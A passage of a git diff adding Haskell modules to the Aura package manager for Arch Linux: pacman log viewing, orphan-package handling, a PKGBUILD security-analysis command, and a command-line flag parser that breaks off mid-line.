Woodbury, 2012 - 2020 +-- License : GPL3 +-- Maintainer: Colin Woodbury +-- +-- Handle all @-L@ flags - those which involve the pacman log file. + +module Aura.Commands.L + ( viewLogFile + , searchLogFile + , logInfoOnPkg + ) where + +import Aura.Colour (dtot, red) +import Aura.Core (Env(..), report) +import Aura.IO +import Aura.Languages +import Aura.Settings +import Aura.Types (PkgName(..)) +import Aura.Utils +import Data.Text.Prettyprint.Doc +import RIO +import qualified RIO.NonEmpty as NEL +import qualified RIO.Text as T +import qualified RIO.Text.Partial as T +import System.Process.Typed (proc, runProcess) + +--- + +-- | The contents of the Pacman log file. +newtype Log = Log [Text] + +data LogEntry = LogEntry + { name :: PkgName + , firstInstall :: Text + , upgrades :: Word + , recent :: [Text] } + +-- | Pipes the pacman log file through a @less@ session. +viewLogFile :: RIO Env () +viewLogFile = do + pth <- asks (either id id . logPathOf . commonConfigOf . settings) + void . runProcess $ proc "less" [pth] + +-- | Print all lines in the log file which contain a given `Text`. +searchLogFile :: Settings -> Text -> IO () +searchLogFile ss input = do + let pth = either id id . logPathOf $ commonConfigOf ss + logFile <- T.lines . decodeUtf8Lenient <$> readFileBinary pth + traverse_ putTextLn $ searchLines input logFile + +-- | The result of @-Li@. +logInfoOnPkg :: NonEmpty PkgName -> RIO Env () +logInfoOnPkg pkgs = do + ss <- asks settings + let pth = either id id . logPathOf $ commonConfigOf ss + logFile <- Log . T.lines . decodeUtf8Lenient <$> readFileBinary pth + let (bads, goods) = fmapEither (logLookup logFile) $ toList pkgs + traverse_ (report red reportNotInLog_1) $ NEL.nonEmpty bads + traverse_ (putTextLn . renderEntry ss) goods + +logLookup :: Log -> PkgName -> Either PkgName LogEntry +logLookup (Log lns) p = case matches of + [] -> Left p + (h:t) -> Right $ + LogEntry { name = p + , firstInstall = T.take 16 $ T.tail h + , upgrades = fromIntegral . length $ filter (T.isInfixOf " upgraded ") t + , recent = reverse . take 5 $ reverse t } + where matches = filter (T.isInfixOf (" " <> pnName p <> " (")) lns + +renderEntry :: Settings -> LogEntry -> Text +renderEntry ss (LogEntry (PkgName pn) fi us rs) = + dtot . colourCheck ss $ entrify ss fields entries <> hardline <> recents <> hardline + where fields = logLookUpFields $ langOf ss + entries = map pretty [ pn, fi, T.pack (show us), "" ] + recents = vsep $ map pretty rs diff --git a/exec/Aura/Commands/O.hs b/exec/Aura/Commands/O.hs new file mode 100644 --- /dev/null +++ b/exec/Aura/Commands/O.hs @@ -0,0 +1,25 @@ +-- | +-- Module : Aura.Commands.O +-- Copyright : (c) Colin Woodbury, 2012 - 2020 +-- License : GPL3 +-- Maintainer: Colin Woodbury +-- +-- Handle all @-O@ flags - those which involve orphan packages. + +module Aura.Commands.O ( displayOrphans, adoptPkg ) where + +import Aura.Core (Env(..), orphans, sudo) +import Aura.IO (putTextLn) +import Aura.Pacman (pacman) +import Aura.Types +import RIO + +--- + +-- | Print the result of @pacman -Qqdt@ +displayOrphans :: IO () +displayOrphans = orphans >>= traverse_ (putTextLn . pnName) + +-- | Identical to @-D --asexplicit@. +adoptPkg :: NonEmpty PkgName -> RIO Env () +adoptPkg pkgs = sudo . liftIO . pacman $ ["-D", "--asexplicit"] <> asFlag pkgs diff --git a/exec/Aura/Commands/P.hs b/exec/Aura/Commands/P.hs new file mode 100644 --- /dev/null +++ b/exec/Aura/Commands/P.hs @@ -0,0 +1,71 @@ +{-# LANGUAGE BangPatterns #-} +{-# LANGUAGE LambdaCase #-} + +-- | +-- Module : Aura.Commands.P +-- Copyright : (c) Colin Woodbury, 2012 - 2020 +-- License : GPL3 +-- Maintainer: Colin Woodbury +-- +-- +-- Handles @-P@ flags for analysing PKGBUILDs. + +module Aura.Commands.P + ( exploitsFromFile + , exploitsFromStdin + , audit + ) where + +import Aura.Core +import Aura.Languages +import Aura.Pkgbuild.Fetch +import Aura.Pkgbuild.Security +import Aura.Security +import Aura.Settings +import Aura.Types +import Control.Scheduler (Comp(..), traverseConcurrently) +import RIO +import RIO.ByteString (getContents) +import qualified RIO.Set as S + +--- + +-- | Given a specific file path, print out any potential PKGBUILD exploits and +-- exit the program aggressively to force a naughty exit code. +exploitsFromFile :: FilePath -> RIO Env () +exploitsFromFile = readFileBinary >=> findExploits . Pkgbuild + +exploitsFromStdin :: RIO Env () +exploitsFromStdin = getContents >>= findExploits . Pkgbuild + +-- | Analyse all locally installed AUR packages. +audit :: RIO Env () +audit = do + ss <- asks settings + let !m = managerOf ss + ps <- liftIO foreignPackages + warn ss . security_13 . fromIntegral $ S.size ps + pbs <- catMaybes <$> liftIO (traverseConcurrently Par' (getPkgbuild m . spName) $ S.toList ps) + mapMaybeA f pbs >>= \case + [] -> notify ss security_14 + _ -> throwM $ Failure security_12 + where + f :: Pkgbuild -> RIO Env (Maybe Pkgbuild) + f pb = case parsedPB pb of + Nothing -> pure Nothing + Just l -> case bannedTerms l of + [] -> pure Nothing + bts -> do + ss <- asks settings + liftIO $ traverse_ (displayBannedTerms ss) bts + pure $ Just pb + +findExploits :: Pkgbuild -> RIO Env () +findExploits pb = case parsedPB pb of + Nothing -> throwM $ Failure security_11 + Just l -> case bannedTerms l of + [] -> pure () + bts -> do + ss <- asks settings + liftIO $ traverse_ (displayBannedTerms ss) bts + throwM $ Failure security_12 diff --git a/exec/Aura/Flags.hs b/exec/Aura/Flags.hs new file mode 100644 --- /dev/null +++ b/exec/Aura/Flags.hs @@ -0,0 +1,590 @@ +module Aura.Flags + ( Program(..), opts + , PacmanOp( Sync ), SyncOp( SyncUpgrade ), SyncSwitch(..), MiscOp + , AuraOp(..), AurSwitch(..), _AurSync, _AurIgnore, _AurIgnoreGroup + , AurOp(..), BackupOp(..), CacheOp(..), LogOp(..), OrphanOp(..), AnalysisOp(..) + ) where + +import Aura.Cache (defaultPackageCache) +import Aura.Pacman (defaultLogFile, pacmanConfFile) +import Aura.Settings +import Aura.Types +import Lens.Micro (Traversal') +import Options.Applicative +import RIO hiding (exp, log) +import RIO.FilePath +import RIO.List.Partial (foldr1) +import qualified RIO.NonEmpty as NEL +import qualified RIO.NonEmpty.Partial as NELP +import qualified RIO.Set as S +import qualified RIO.Text as T + +--- + +-- | A description of a run of Aura to attempt. +data Program = Program { + _operation :: Either (PacmanOp, Set MiscOp) AuraOp + -- ^ Whether Aura handles everything, or the ops and input are just passed down to Pacman. + , _commons :: CommonConfig + -- ^ Settings common to both Aura and Pacman. + , _buildConf :: BuildConfig + -- ^ Settings specific to building packages. + , _language :: Maybe Language + -- ^ The human language of text output. + , _logLevel :: LogLevel + -- ^ The default RIO logging level. + } deriving (Show) + +-- | Inherited operations that are fed down to Pacman. +data PacmanOp + = Database (Either DatabaseOp (NonEmpty PkgName)) + | Files (Set FilesOp) + | Query (Either QueryOp (Set QueryFilter, Set PkgName)) + | Remove (Set RemoveOp) (NonEmpty PkgName) + | Sync (Either (NonEmpty SyncOp) (Set PkgName)) (Set SyncSwitch) + | TestDeps (NonEmpty Text) + | Upgrade (Set UpgradeSwitch) (NonEmpty PkgName) + deriving (Show) + +instance Flagable PacmanOp where + asFlag (Database (Left o)) = "-D" : asFlag o + asFlag (Database (Right fs)) = "-D" : asFlag fs + asFlag (Files os) = "-F" : asFlag os + asFlag (Query (Left o)) = "-Q" : asFlag o + asFlag (Query (Right (fs, ps))) = "-Q" : asFlag ps ++ asFlag fs + asFlag (Remove os ps) = "-R" : asFlag os ++ asFlag ps + asFlag (Sync (Left o) ss) = "-S" : asFlag ss ++ asFlag o + asFlag (Sync (Right ps) ss) = "-S" : asFlag ss ++ asFlag ps + asFlag (TestDeps ps) = "-T" : asFlag ps + asFlag (Upgrade s ps) = "-U" : asFlag s ++ asFlag ps + +data DatabaseOp + = DBCheck + | DBAsDeps (NonEmpty Text) + | DBAsExplicit (NonEmpty Text) + deriving (Show) + +instance Flagable DatabaseOp where + asFlag DBCheck = ["--check"] + asFlag (DBAsDeps ps) = "--asdeps" : asFlag ps + asFlag (DBAsExplicit ps) = "--asexplicit" : asFlag ps + +data FilesOp + = FilesList (NonEmpty Text) + | FilesOwns Text + | FilesSearch Text + | FilesRegex + | FilesRefresh + | FilesMachineReadable + deriving (Eq, Ord, Show) + +instance Flagable FilesOp where + asFlag (FilesList fs) = "--list" : asFlag fs + asFlag (FilesOwns f) = ["--owns", f] + asFlag (FilesSearch f) = ["--search", f] + asFlag FilesRegex = ["--regex"] + asFlag FilesRefresh = ["--refresh"] + asFlag FilesMachineReadable = ["--machinereadable"] + +data QueryOp + = QueryChangelog (NonEmpty Text) + | QueryGroups (NonEmpty Text) + | QueryInfo (NonEmpty Text) + | QueryCheck (NonEmpty Text) + | QueryList (NonEmpty Text) + | QueryOwns (NonEmpty Text) + | QueryFile (NonEmpty Text) + | QuerySearch Text + deriving (Show) + +instance Flagable QueryOp where + asFlag (QueryChangelog ps) = "--changelog" : asFlag ps + asFlag (QueryGroups ps) = "--groups" : asFlag ps + asFlag (QueryInfo ps) = "--info" : asFlag ps + asFlag (QueryCheck ps) = "--check" : asFlag ps + asFlag (QueryList ps) = "--list" : asFlag ps + asFlag (QueryOwns ps) = "--owns" : asFlag ps + asFlag (QueryFile ps) = "--file" : asFlag ps + asFlag (QuerySearch t) = ["--search", t] + +data QueryFilter + = QueryDeps + | QueryExplicit + | QueryForeign + | QueryNative + | QueryUnrequired + | QueryUpgrades + deriving (Eq, Ord, Show) + +instance Flagable QueryFilter where + asFlag QueryDeps = ["--deps"] + asFlag QueryExplicit = ["--explicit"] + asFlag QueryForeign = ["--foreign"] + asFlag QueryNative = ["--native"] + asFlag QueryUnrequired = ["--unrequired"] + asFlag QueryUpgrades = ["--upgrades"] + +data RemoveOp + = RemoveCascade + | RemoveNoSave + | RemoveRecursive + | RemoveUnneeded + deriving (Eq, Ord, Show) + +instance Flagable RemoveOp where + asFlag RemoveCascade = ["--cascade"] + asFlag RemoveNoSave = ["--nosave"] + asFlag RemoveRecursive = ["--recursive"] + asFlag RemoveUnneeded = ["--unneeded"] + +data SyncOp + = SyncClean + | SyncGroups (NonEmpty Text) + | SyncInfo (NonEmpty Text) + | SyncList Text + | SyncSearch (NonEmpty Text) + | SyncUpgrade (Set Text) + | SyncDownload (NonEmpty Text) + deriving (Eq, Ord, Show) + +instance Flagable SyncOp where + asFlag SyncClean = ["--clean"] + asFlag (SyncGroups gs) = "--groups" : asFlag gs + asFlag (SyncInfo ps) = "--info" : asFlag ps + asFlag (SyncList r) = ["--list", r] + asFlag (SyncSearch s) = "--search" : asFlag s + asFlag (SyncUpgrade ps) = "--sysupgrade" : asFlag ps + asFlag (SyncDownload ps) = "--downloadonly" : asFlag ps + +data SyncSwitch + = SyncRefresh + | SyncIgnore (Set PkgName) + | SyncIgnoreGroup (Set PkgGroup) + | SyncOverwrite Text + deriving (Eq, Ord, Show) + +instance Flagable SyncSwitch where + asFlag SyncRefresh = ["--refresh"] + asFlag (SyncIgnore ps) = ["--ignore", T.intercalate "," $ asFlag ps ] + asFlag (SyncIgnoreGroup gs) = ["--ignoregroup" , T.intercalate "," $ asFlag gs ] + asFlag (SyncOverwrite glob) = "--overwrite" : asFlag glob + +data UpgradeSwitch + = UpgradeAsDeps + | UpgradeAsExplicit + | UpgradeIgnore (Set PkgName) + | UpgradeIgnoreGroup (Set PkgGroup) + | UpgradeOverwrite Text + deriving (Eq, Ord, Show) + +instance Flagable UpgradeSwitch where + asFlag UpgradeAsDeps = ["--asdeps"] + asFlag UpgradeAsExplicit = ["--asexplicit"] + asFlag (UpgradeIgnore ps) = ["--ignore", T.intercalate "," $ asFlag ps ] + asFlag (UpgradeIgnoreGroup gs) = ["--ignoregroup", T.intercalate "," $ asFlag gs ] + asFlag (UpgradeOverwrite glob) = "--overwrite" : asFlag glob + +-- | Flags common to several Pacman operations. +data MiscOp + = MiscArch FilePath + | MiscAssumeInstalled Text + | MiscColor Text + | MiscConfirm + | MiscDBOnly + | MiscDBPath FilePath + | MiscGpgDir FilePath + | MiscHookDir FilePath + | MiscNoDeps + | MiscNoProgress + | MiscNoScriptlet + | MiscPrint + | MiscPrintFormat Text + | MiscRoot FilePath + | MiscVerbose + deriving (Eq, Ord, Show) + +instance Flagable MiscOp where + asFlag (MiscArch p) = ["--arch", T.pack p] + asFlag (MiscAssumeInstalled p) = ["--assume-installed", p] + asFlag (MiscColor c) = ["--color", c] + asFlag (MiscDBPath p) = ["--dbpath", T.pack p] + asFlag (MiscGpgDir p) = ["--gpgdir", T.pack p] + asFlag (MiscHookDir p) = ["--hookdir", T.pack p] + asFlag (MiscPrintFormat s) = ["--print-format", s] + asFlag (MiscRoot p) = ["--root", T.pack p] + asFlag MiscConfirm = ["--confirm"] + asFlag MiscDBOnly = ["--dbonly"] + asFlag MiscNoDeps = ["--nodeps"] + asFlag MiscNoProgress = ["--noprogressbar"] + asFlag MiscNoScriptlet = ["--noscriptlet"] + asFlag MiscPrint = ["--print"] + asFlag MiscVerbose = ["--verbose"] + +-- | Operations unique to Aura. +data AuraOp + = AurSync (Either AurOp (NonEmpty PkgName)) (Set AurSwitch) + | Backup (Maybe BackupOp) + | Cache (Either CacheOp (NonEmpty PkgName)) + | Log (Maybe LogOp) + | Orphans (Maybe OrphanOp) + | Analysis (Maybe AnalysisOp) + | Version + | Languages + | ViewConf + deriving (Show) + +_AurSync :: Traversal' AuraOp (Set AurSwitch) +_AurSync f (AurSync o s) = AurSync o <$> f s +_AurSync _ x = pure x + +data AurOp + = AurDeps (NonEmpty PkgName) + | AurInfo (NonEmpty PkgName) + | AurPkgbuild (NonEmpty PkgName) + | AurSearch Text + | AurUpgrade (Set PkgName) + | AurJson (NonEmpty PkgName) + | AurTarball (NonEmpty PkgName) + deriving (Show) + +data AurSwitch + = AurIgnore (Set PkgName) + | AurIgnoreGroup (Set PkgGroup) + | AurRepoSync + deriving (Eq, Ord, Show) + +_AurIgnore :: Traversal' AurSwitch (Set PkgName) +_AurIgnore f (AurIgnore s) = AurIgnore <$> f s +_AurIgnore _ x = pure x + +_AurIgnoreGroup :: Traversal' AurSwitch (Set PkgGroup) +_AurIgnoreGroup f (AurIgnoreGroup s) = AurIgnoreGroup <$> f s +_AurIgnoreGroup _ x = pure x + +data BackupOp + = BackupClean Word + | BackupRestore + | BackupList deriving (Show) + +data CacheOp + = CacheBackup FilePath + | CacheClean Word + | CacheCleanNotSaved + | CacheSearch Text + deriving (Show) + +data LogOp + = LogInfo (NonEmpty PkgName) + | LogSearch Text + deriving (Show) + +data OrphanOp + = OrphanAbandon + | OrphanAdopt (NonEmpty PkgName) + deriving (Show) + +data AnalysisOp + = AnalysisFile FilePath + | AnalysisDir FilePath + | AnalysisAudit + deriving (Show) + +opts :: ParserInfo Program +opts = info (program <**> helper) + (fullDesc <> header "Aura - Package manager for Arch Linux and the AUR.") + +program :: Parser Program +program = Program + <$> (fmap Right aurOps <|> (curry Left <$> pacOps <*> misc)) + <*> commonConfig + <*> buildConfig + <*> optional language + <*> logLevel + where + aurOps = aursync <|> backups <|> cache <|> log <|> orphans <|> analysis <|> version' <|> languages <|> viewconf + pacOps = database <|> files <|> queries <|> remove <|> sync <|> testdeps <|> upgrades + +aursync :: Parser AuraOp +aursync = bigA *> + (AurSync + <$> (fmap (Right . NEL.map (PkgName . T.toLower)) someArgs <|> fmap Left mods) + <*> (S.fromList <$> many switches) + ) + where bigA = flag' () (long "aursync" <> short 'A' <> help "Install packages from the AUR.") + mods = ds <|> ainfo <|> pkgb <|> search <|> upgrade <|> aur <|> tarball + ds = AurDeps <$> (flag' () (long "deps" <> short 'd' <> hidden <> help "View dependencies of an AUR package.") *> somePkgs') + ainfo = AurInfo <$> (flag' () (long "info" <> short 'i' <> hidden <> help "View AUR package information.") *> somePkgs') + pkgb = AurPkgbuild <$> (flag' () (long "pkgbuild" <> short 'p' <> hidden <> help "View an AUR package's PKGBUILD file.") *> somePkgs') + search = AurSearch <$> strOption (long "search" <> short 's' <> metavar "STRING" <> hidden <> help "Search the AUR via a search string.") + upgrade = AurUpgrade <$> (flag' () (long "sysupgrade" <> short 'u' <> hidden <> help "Upgrade all installed AUR packages.") *> fmap (S.map PkgName) manyArgs') + aur = AurJson <$> (flag' () (long "json" <> hidden <> help "Retrieve package JSON straight from the AUR.") *> somePkgs') + tarball = AurTarball <$> (flag' () (long "downloadonly" <> short 'w' <> hidden <> help "Download a package tarball.") *> somePkgs') + switches = ign <|> igg <|> y + ign = AurIgnore . S.fromList . map PkgName . T.split (== ',') + <$> strOption (long "ignore" <> metavar "PKG(,PKG,...)" <> hidden <> help "Ignore given packages.") + igg = AurIgnoreGroup . S.fromList . map PkgGroup . T.split (== ',') + <$> strOption (long "ignoregroup" <> metavar "PKG(,PKG,...)" <> hidden <> help "Ignore packages from the given groups.") + y = flag' AurRepoSync (short 'y' <> hidden <> help "Do an -Sy before continuing.") + +backups :: Parser AuraOp +backups = bigB *> (Backup <$> optional mods) + where bigB = flag' () (long "save" <> short 'B' <> help "Save a package state.") + mods = clean <|> restore <|> lst + clean = BackupClean <$> option auto (long "clean" <> short 'c' <> metavar "N" <> hidden <> help "Keep the most recent N states, delete the rest.") + restore = flag' BackupRestore (long "restore" <> short 'r' <> hidden <> help "Restore a previous package state.") + lst = flag' BackupList (long "list" <> short 'l' <> hidden <> help "Show all saved package state filenames.") + +cache :: Parser AuraOp +cache = bigC *> (Cache <$> (fmap Left mods <|> fmap Right somePkgs)) + where bigC = flag' () (long "downgrade" <> short 'C' <> help "Interact with the package cache.") + mods = backup <|> clean <|> clean' <|> search + backup = CacheBackup <$> option (eitherReader absFilePath) (long "backup" <> short 'b' <> metavar "PATH" <> help "Backup the package cache to a given directory." <> hidden) + clean = CacheClean <$> option auto (long "clean" <> short 'c' <> metavar "N" <> help "Save the most recent N versions of a package in the cache, deleting the rest." <> hidden) + clean' = flag' CacheCleanNotSaved (long "notsaved" <> help "Clean out any cached package files which doesn't appear in any saved state." <> hidden) + search = CacheSearch <$> strOption (long "search" <> short 's' <> metavar "STRING" <> help "Search the package cache via a search string." <> hidden) + +log :: Parser AuraOp +log = bigL *> (Log <$> optional mods) + where bigL = flag' () (long "viewlog" <> short 'L' <> help "View the Pacman log.") + mods = inf <|> sch + inf = LogInfo <$> (flag' () (long "info" <> short 'i' <> help "Display the installation history for given packages." <> hidden) *> somePkgs') + sch = LogSearch <$> strOption (long "search" <> short 's' <> metavar "STRING" <> help "Search the Pacman log via a search string." <> hidden) + +orphans :: Parser AuraOp +orphans = bigO *> (Orphans <$> optional mods) + where bigO = flag' () (long "orphans" <> short 'O' <> help "Display all orphan packages.") + mods = abandon <|> adopt + abandon = flag' OrphanAbandon (long "abandon" <> short 'j' <> hidden <> help "Uninstall all orphan packages.") + adopt = OrphanAdopt <$> (flag' () (long "adopt" <> short 'a' <> hidden <> help "Mark some packages' install reason as 'Explicit'.") *> somePkgs') + +analysis :: Parser AuraOp +analysis = bigP *> (Analysis <$> optional mods) + where + bigP = flag' () (long "analysis" <> short 'P' <> help "Analyse PKGBUILDs for malicious bash code.") + mods = file <|> dir <|> audit + file = AnalysisFile <$> strOption (long "file" <> short 'f' <> metavar "PATH" <> hidden <> help "Path to a PKGBUILD file.") + dir = AnalysisDir <$> strOption (long "dir" <> short 'd' <> metavar "PATH" <> hidden <> help "Path to a directory containing a PKGBUILD file.") + audit = flag' AnalysisAudit (long "audit" <> short 'a' <> hidden <> help "Analyse PKGBUILDs of installed AUR packages.") + +version' :: Parser AuraOp +version' = flag' Version (long "version" <> short 'V' <> help "Display Aura's version.") + +languages :: Parser AuraOp +languages = flag' Languages (long "languages" <> help "Show all human languages available for output.") + +viewconf :: Parser AuraOp +viewconf = flag' ViewConf (long "viewconf" <> help "View the Pacman config file.") + +buildConfig :: Parser BuildConfig +buildConfig = BuildConfig <$> makepkg <*> bp <*> bu <*> asp <*> vp <*> trunc <*> buildSwitches + where makepkg = S.fromList <$> many (ia <|> as <|> si) + ia = flag' IgnoreArch (long "ignorearch" <> hidden <> help "Exposed makepkg flag.") + as = flag' AllSource (long "allsource" <> hidden <> help "Exposed makepkg flag.") + si = flag' SkipInteg (long "skipinteg" <> hidden <> help "Skip all makepkg integrity checks.") + bp = optional $ option (eitherReader absFilePath) (long "build" <> metavar "PATH" <> hidden <> help "Directory in which to build packages.") + bu = optional $ User <$> strOption (long "builduser" <> metavar "USER" <> hidden <> help "User account to build as.") + asp = optional $ option (eitherReader absFilePath) (long "allsourcepath" <> metavar "PATH" <> hidden <> help "Directory in which to store the output of --allsource.") + vp = optional $ option (eitherReader absFilePath) (long "vcspath" <> metavar "PATH" <> hidden <> help "Directory in which to build and store VCS packages.") + trunc = fmap Head (option auto (long "head" <> metavar "N" <> hidden <> help "Only show top N search results.")) + <|> fmap Tail (option auto (long "tail" <> metavar "N" <> hidden <> help "Only show last N search results.")) + <|> pure None + +buildSwitches :: Parser (Set BuildSwitch) +buildSwitches = S.fromList <$> many (lv <|> dmd <|> dsm <|> dpb <|> rbd <|> he <|> dr <|> sa <|> fo <|> npc <|> asd) + where dmd = flag' DeleteMakeDeps (long "delmakedeps" <> short 'a' <> hidden <> help "Uninstall makedeps after building.") + dsm = flag' DontSuppressMakepkg (long "unsuppress" <> short 'x' <> hidden <> help "Unsuppress makepkg output.") + dpb = flag' DiffPkgbuilds (long "diff" <> short 'k' <> hidden <> help "Show PKGBUILD diffs.") + rbd = flag' RebuildDevel (long "devel" <> hidden <> help "Rebuild all git/hg/svn/darcs-based packages.") + he = flag' HotEdit (long "hotedit" <> hidden <> help "Edit a PKGBUILD before building.") + dr = flag' DryRun (long "dryrun" <> hidden <> help "Run dependency checks and PKGBUILD diffs, but don't build.") + sa = flag' SortAlphabetically (long "abc" <> hidden <> help "Sort search results alphabetically.") + lv = flag' LowVerbosity (long "quiet" <> short 'q' <> hidden <> help "Display less information.") + fo = flag' ForceBuilding (long "force" <> hidden <> help "Always (re)build specified packages.") + npc = flag' NoPkgbuildCheck (long "noanalysis" <> hidden <> help "Do not analyse PKGBUILDs for security flaws.") + asd = flag' AsDeps (long "asdeps" <> hidden <> help "All installed packages will be marked as dependencies.") + +commonConfig :: Parser CommonConfig +commonConfig = CommonConfig <$> cap <*> cop <*> lfp <*> commonSwitches + where cap = fmap Right + (option (eitherReader absFilePath) (long "cachedir" <> hidden <> help "Use an alternate package cache location.")) + <|> pure (Left defaultPackageCache) + cop = fmap Right + (option (eitherReader absFilePath) (long "config" <> hidden <> help "Use an alternate Pacman config file.")) + <|> pure (Left pacmanConfFile) + lfp = fmap Right + (option (eitherReader absFilePath) (long "logfile" <> hidden <> help "Use an alternate Pacman log.")) + <|> pure (Left defaultLogFile) + +commonSwitches :: Parser (Set CommonSwitch) +commonSwitches = S.fromList <$> many (nc <|> no <|> dbg <|> clr <|> ovr) + where nc = flag' NoConfirm (long "noconfirm" <> hidden <> help "Never ask for Aura or Pacman confirmation.") + no = flag' NeededOnly (long "needed" <> hidden <> help "Don't rebuild/reinstall up-to-date packages.") + dbg = flag' Debug (long "debug" <> hidden <> help "Print useful debugging info.") + ovr = Overwrite <$> strOption (long "overwrite" <> hidden <> help "Bypass file conflict checks." <> metavar "GLOB") + clr = Colour . f <$> strOption (long "color" <> metavar "WHEN" <> hidden <> help "Colourize the output.") + f :: String -> ColourMode + f "never" = Never + f "always" = Always + f _ = Auto + +database :: Parser PacmanOp +database = bigD *> (Database <$> (fmap Right somePkgs <|> fmap Left mods)) + where bigD = flag' () (long "database" <> short 'D' <> help "Interact with the package database.") + mods = check <|> asdeps <|> asexp + check = flag' DBCheck (long "check" <> short 'k' <> hidden <> help "Test local database validity.") + asdeps = DBAsDeps <$> (flag' () (long "asdeps" <> hidden <> help "Mark packages as being dependencies.") *> someArgs') + asexp = DBAsExplicit <$> (flag' () (long "asexplicit" <> hidden <> help "Mark packages as being explicitely installed.") *> someArgs') + +files :: Parser PacmanOp +files = bigF *> (Files <$> fmap S.fromList (many mods)) + where bigF = flag' () (long "files" <> short 'F' <> help "Interact with the file database.") + mods = lst <|> own <|> sch <|> rgx <|> rfr <|> mch + lst = FilesList <$> (flag' () (long "list" <> short 'l' <> hidden <> help "List the files owned by given packages.") *> someArgs') + own = FilesOwns <$> strOption (long "owns" <> short 'o' <> metavar "FILE" <> hidden <> help "Query the package that owns FILE.") + sch = FilesSearch <$> strOption (long "search" <> short 's' <> metavar "FILE" <> hidden <> help "Find package files that match the given FILEname.") + rgx = flag' FilesRegex (long "regex" <> short 'x' <> hidden <> help "Interpret the input of -Fs as a regex.") + rfr = flag' FilesRefresh (long "refresh" <> short 'y' <> hidden <> help "Download fresh package databases.") + mch = flag' FilesMachineReadable (long "machinereadable" <> hidden <> help "Produce machine-readable output.") + +queries :: Parser PacmanOp +queries = bigQ *> (Query <$> (fmap Right query <|> fmap Left mods)) + where bigQ = flag' () (long "query" <> short 'Q' <> help "Interact with the local package database.") + query = curry (second (S.map PkgName)) <$> queryFilters <*> manyArgs + mods = chl <|> gps <|> inf <|> lst <|> own <|> fls <|> sch <|> chk + chl = QueryChangelog <$> (flag' () (long "changelog" <> short 'c' <> hidden <> help "View a package's changelog.") *> someArgs') + gps = QueryGroups <$> (flag' () (long "groups" <> short 'g' <> hidden <> help "View all members of a package group.") *> someArgs') + inf = QueryInfo <$> (flag' () (long "info" <> short 'i' <> hidden <> help "View package information.") *> someArgs') + lst = QueryList <$> (flag' () (long "list" <> short 'l' <> hidden <> help "List files owned by a package.") *> someArgs') + chk = QueryCheck <$> (flag' () (long "check" <> short 'k' <> hidden <> help "Check that package files exist.") *> someArgs') + own = QueryOwns <$> (flag' () (long "owns" <> short 'o' <> hidden <> help "Find the package some file belongs to.") *> someArgs') + fls = QueryFile <$> (flag' () (long "file" <> short 'p' <> hidden <> help "Query a package file.") *> someArgs') + sch = QuerySearch <$> strOption (long "search" <> short 's' <> metavar "REGEX" <> hidden <> help "Search the local database.") + +queryFilters :: Parser (Set QueryFilter) +queryFilters = S.fromList <$> many (dps <|> exp <|> frg <|> ntv <|> urq <|> upg) + where dps = flag' QueryDeps (long "deps" <> short 'd' <> hidden <> help "[filter] Only list packages installed as deps.") + exp = flag' QueryExplicit (long "explicit" <> short 'e' <> hidden <> help "[filter] Only list explicitly installed packages.") + frg = flag' QueryForeign (long "foreign" <> short 'm' <> hidden <> help "[filter] Only list AUR packages.") + ntv = flag' QueryNative (long "native" <> short 'n' <> hidden <> help "[filter] Only list official packages.") + urq = flag' QueryUnrequired (long "unrequired" <> short 't' <> hidden <> help "[filter] Only list packages not required as a dependency to any other.") + upg = flag' QueryUpgrades (long "upgrades" <> short 'u' <> hidden <> help "[filter] Only list outdated packages.") + +remove :: Parser PacmanOp +remove = bigR *> (Remove <$> mods <*> somePkgs) + where bigR = flag' () (long "remove" <> short 'R' <> help "Uninstall packages.") + mods = S.fromList <$> many (cascade <|> nosave <|> recurse <|> unneeded) + cascade = flag' RemoveCascade (long "cascade" <> short 'c' <> hidden <> help "Remove packages and all others that depend on them.") + nosave = flag' RemoveNoSave (long "nosave" <> short 'n' <> hidden <> help "Remove configuration files as well.") + recurse = flag' RemoveRecursive (long "recursive" <> short 's' <> hidden <> help "Remove unneeded dependencies.") + unneeded = flag' RemoveUnneeded (long "unneeded" <> short 'u' <> hidden <> help "Remove unneeded packages.") + +sync :: Parser PacmanOp +sync = bigS *> (Sync <$> (fmap (Right . S.map PkgName) manyArgs <|> fmap Left mods) <*> (S.fromList <$> many (ref <|> ign <|> igg))) + where bigS = flag' () (long "sync" <> short 'S' <> help "Install official packages.") + ref = flag' SyncRefresh (long "refresh" <> short 'y' <> hidden <> help "Update the package database.") + mods = NELP.fromList <$> some (cln <|> gps <|> inf <|> lst <|> sch <|> upg <|> dnl) + cln = flag' SyncClean (long "clean" <> short 'c' <> hidden <> help "Remove old packages from the cache.") + gps = SyncGroups <$> (flag' () (long "groups" <> short 'g' <> hidden <> help "View members of a package group.") *> someArgs') + inf = SyncInfo <$> (flag' () (long "info" <> short 'i' <> hidden <> help "View package information.") *> someArgs') + lst = SyncList <$> strOption (long "list" <> short 'l' <> metavar "REPO" <> hidden <> help "List the packages in a REPO.") + sch = SyncSearch <$> (flag' () (long "search" <> short 's' <> hidden <> help "Search the official package repos.") *> someArgs') + upg = SyncUpgrade <$> (flag' () (long "sysupgrade" <> short 'u' <> hidden <> help "Upgrade installed packages.") *> manyArgs') + dnl = SyncDownload <$> (flag' () (long "downloadonly" <> short 'w' <> hidden <> help "Download package tarballs.") *> someArgs') + ign = SyncIgnore . S.fromList . map PkgName . T.split (== ',') <$> + strOption (long "ignore" <> metavar "PKG(,PKG,...)" <> hidden <> help "Ignore given packages.") + igg = SyncIgnoreGroup . S.fromList . map PkgGroup . T.split (== ',') <$> + strOption (long "ignoregroup" <> metavar "PKG(,PKG,...)" <> hidden <> help "Ignore packages from the given groups.") + +misc :: Parser (Set MiscOp) +misc = S.fromList <$> many (ar <|> dbp <|> roo <|> ver <|> gpg <|> hd <|> con <|> dbo <|> nop <|> nos <|> pf <|> nod <|> prt <|> asi) + where ar = MiscArch + <$> option (eitherReader absFilePath) (long "arch" <> metavar "ARCH" <> hidden <> help "Use an alternate architecture.") + dbp = MiscDBPath + <$> option (eitherReader absFilePath) (long "dbpath" <> short 'b' <> metavar "PATH" <> hidden <> help "Use an alternate database location.") + roo = MiscRoot + <$> option (eitherReader absFilePath) (long "root" <> short 'r' <> metavar "PATH" <> hidden <> help "Use an alternate installation root.") + ver = flag' MiscVerbose (long "verbose" <> short 'v' <> hidden <> help "Be more verbose.") + gpg = MiscGpgDir + <$> option (eitherReader absFilePath) (long "gpgdir" <> metavar "PATH" <> hidden <> help "Use an alternate GnuGPG directory.") + hd = MiscHookDir + <$> option (eitherReader absFilePath) (long "hookdir" <> metavar "PATH" <> hidden 